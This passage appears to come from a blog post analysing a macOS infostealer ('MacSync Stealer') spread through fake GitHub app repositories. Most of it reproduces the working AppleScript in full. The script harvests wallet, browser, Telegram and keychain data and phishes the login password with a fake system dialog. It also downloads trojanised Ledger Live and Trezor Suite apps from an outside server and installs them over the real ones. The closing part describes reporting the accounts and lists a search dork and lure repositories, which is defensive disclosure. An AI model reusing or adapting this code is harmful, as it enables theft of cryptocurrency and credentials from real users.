set walletMap to walletMap & Wallets/Desktop/Electron_Cash
set walletMap to walletMap & Wallets/Desktop/Monero
set walletMap to walletMap & Wallets/Desktop/Litecoin_Core
set walletMap to walletMap & Wallets/Desktop/Dash_Core
set walletMap to walletMap & Wallets/Desktop/Dogecoin_Core
set walletMap to walletMap & Wallets/Desktop/Electrum_LTC
set walletMap to walletMap & Wallets/Desktop/BlueWallet
set walletMap to walletMap & Wallets/Desktop/Zengo
set walletMap to walletMap & Wallets/Desktop/Trust
set walletMap to walletMap & Wallets/Desktop/Ledger Live
set walletMap to walletMap & Wallets/Desktop/Trezor Suite

readwrite(library & "Binance/", writemind & "Wallets/Desktop/Binance/")
readwrite(library & "TON Keeper/", writemind & "Wallets/Desktop/TonKeeper/")
#readwrite(profile & "/Library/Keychains/login.keychain-db", writemind & "login.keychain-db")

writeText(username, writemind & "Username")
writeText("1.0.9_release (x64_86 & ARM)", writemind & "Version")

try
    writeText("MacSync Stealer\n\n", writemind & "info")
    writeText("Build Tag: Alves\n", writemind & "info")
    writeText("Version: 1.0.9_release (x64_86 & ARM)\n", writemind & "info")
        writeText("IP: 2409:8a00:3011:6240:c168:508b:1e1c:45e8\n\n", writemind & "info")
    writeText("Username: " & username, writemind & "info")
    writeText("\nPassword: " & password_entered & "\n\n", writemind & "info")
    set result to (do shell script "system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType")
    writeText(result, writemind & "info")
end try

Chromium(writemind, chromiumMap)
ChromiumWallets(writemind, chromiumMap)
DesktopWallets(writemind, walletMap)
Telegram(writemind, library)
Keychains(writemind)

Filegrabber(writemind)

try
    do shell script "ditto -c -k --sequesterRsrc " & writemind & " /tmp/osalogging.zip"
end try
try
    do shell script "rm -rf /tmp/sync*"
end try

display dialog "Your Mac does not support this application. Try reinstalling or downloading the version for your system." with title "System Preferences" with icon stop buttons {"ОК"}


set LEDGERURL to "https://ursamade.fun/ledger/79fbe2e4cccedda99204eeeeab1f4cb93ff81c1d08f2f28dfb1db80c187e1d43"
set LEDGERDMGPATH to "/tmp/79fbe2e4cccedda99204eeeeab1f4cb93ff81c1d08f2f28dfb1db80c187e1d43.zip"
set LEDGERMOUNT to "/tmp"
set LEDGERNAME to "Ledger Live.app"
set LEDGERPATH to LEDGERMOUNT & "/" & LEDGERNAME
set LEDGERAPPFOLDER to "/Applications"
set LEDGERDEST to LEDGERAPPFOLDER & "/" & LEDGERNAME

try
    do shell script "test -d " & quoted form of LEDGERDEST
    set ledger_installed to true
on error
    set ledger_installed to false
end try

if ledger_installed then
    try
        do shell script "curl -k --user-agent 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36' -H 'api-key: 5190ef1733183a0dc63fb623357f56d6' -L " & quoted form of LEDGERURL & " -o " & quoted form of LEDGERDMGPATH
        do shell script "unzip -q -o " & quoted form of LEDGERDMGPATH & " -d " & quoted form of LEDGERMOUNT
        set app_exists to false
        try
            do shell script "test -e " & quoted form of LEDGERPATH
            set app_exists to true
        end try
        
        if app_exists then
            try
                do shell script "killall -9 'Ledger Live'"
            end try
            do shell script "rm -rf " & quoted form of LEDGERDEST
            do shell script "cp -R " & quoted form of LEDGERPATH & " " & quoted form of LEDGERAPPFOLDER
        end if
    end try

    try
        do shell script "rm -rf " & quoted form of LEDGERDMGPATH
        do shell script "rm -rf " & quoted form of LEDGERPATH
    end try
end if

set TREZORURL to "https://ursamade.fun/trezor/79fbe2e4cccedda99204eeeeab1f4cb93ff81c1d08f2f28dfb1db80c187e1d43"
set TREZORDMGPATH to "/tmp/79fbe2e4cccedda99204eeeeab1f4cb93ff81c1d08f2f28dfb1db80c187e1d43.zip"
set TREZORMOUNT to "/tmp"
set TREZORNAME to "Trezor Suite.app"
set TREZORPATH to TREZORMOUNT & "/" & TREZORNAME
set TREZORAPPFOLDER to "/Applications"
set TREZORDEST to TREZORAPPFOLDER & "/" & TREZORNAME

try
    do shell script "test -d " & quoted form of TREZORDEST
    set trezor_installed to true
on error
    set trezor_installed to false
end try

if trezor_installed then
    try
        do shell script "curl -k --user-agent 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36' -H 'api-key: 5190ef1733183a0dc63fb623357f56d6' -L " & quoted form of TREZORURL & " -o " & quoted form of TREZORDMGPATH
        do shell script "unzip -q -o " & quoted form of TREZORDMGPATH & " -d " & quoted form of TREZORMOUNT
        set app_exists to false
        try
            do shell script "test -e " & quoted form of TREZORPATH
            set app_exists to true
        end try
        
        if app_exists then
            try
                do shell script "killall -9 'Trezor Suite'"
            end try
            do shell script "rm -rf " & quoted form of TREZORDEST
            do shell script "cp -R " & quoted form of TREZORPATH & " " & quoted form of TREZORAPPFOLDER
        end if
    end try

    try
        do shell script "rm -rf " & quoted form of TREZORDMGPATH
        do shell script "rm -rf " & quoted form of TREZORPATH
    end try
end if

From a logical standpoint, this script is exceptionally well-written and offers numerous learning points, which I won’t detail here. After feeding it to GPT for analysis, it was revealed that the script packages data from all major browsers, cryptocurrency wallets, Telegram, Keychains, and even Notes app, then uploads it directly to a server, effectively covering its tracks.

Report Abuse

After simply archiving the scripts of the entire process, I directly reported it to GitHub officials. This entry point was quickly blocked. I am unsure if the corresponding commit user accounts were also banned, but they were likely throwaway accounts. GitHub’s response time was notably swift.

Confluence is likely just one example among many, and many similar accounts and repositories probably exist for this purpose. I eventually found a way to quickly locate them:

inurl:app-mac site:github.com

There were so many similar account results after searching it on google:

  • https://github.com/LaunchBar-App-mac/
  • https://github.com/IINA-App-Mac
  • https://github.com/iStat-Menus-App-Mac/
  • https://github.com/Figma-App-Mac
  • https://github.com/MacClean-App-Mac
  • https://github.com/Kaleidoscope-App-mac
  • https://github.com/Veeva-app-mac
  • https://github.com/Keysmith-App-mac
  • https://github.com/iStat-Menus-App-Mac
  • https://github.com/InShot-App-Mac

There were a total of 4 pages of such results, with most of the page layouts being highly similar. The effectiveness of reporting is likely limited, and ordinary users should still enhance their understanding of security incidents.

Lesson Learnt

Never execute any script you do not understand!

Updated on Will Han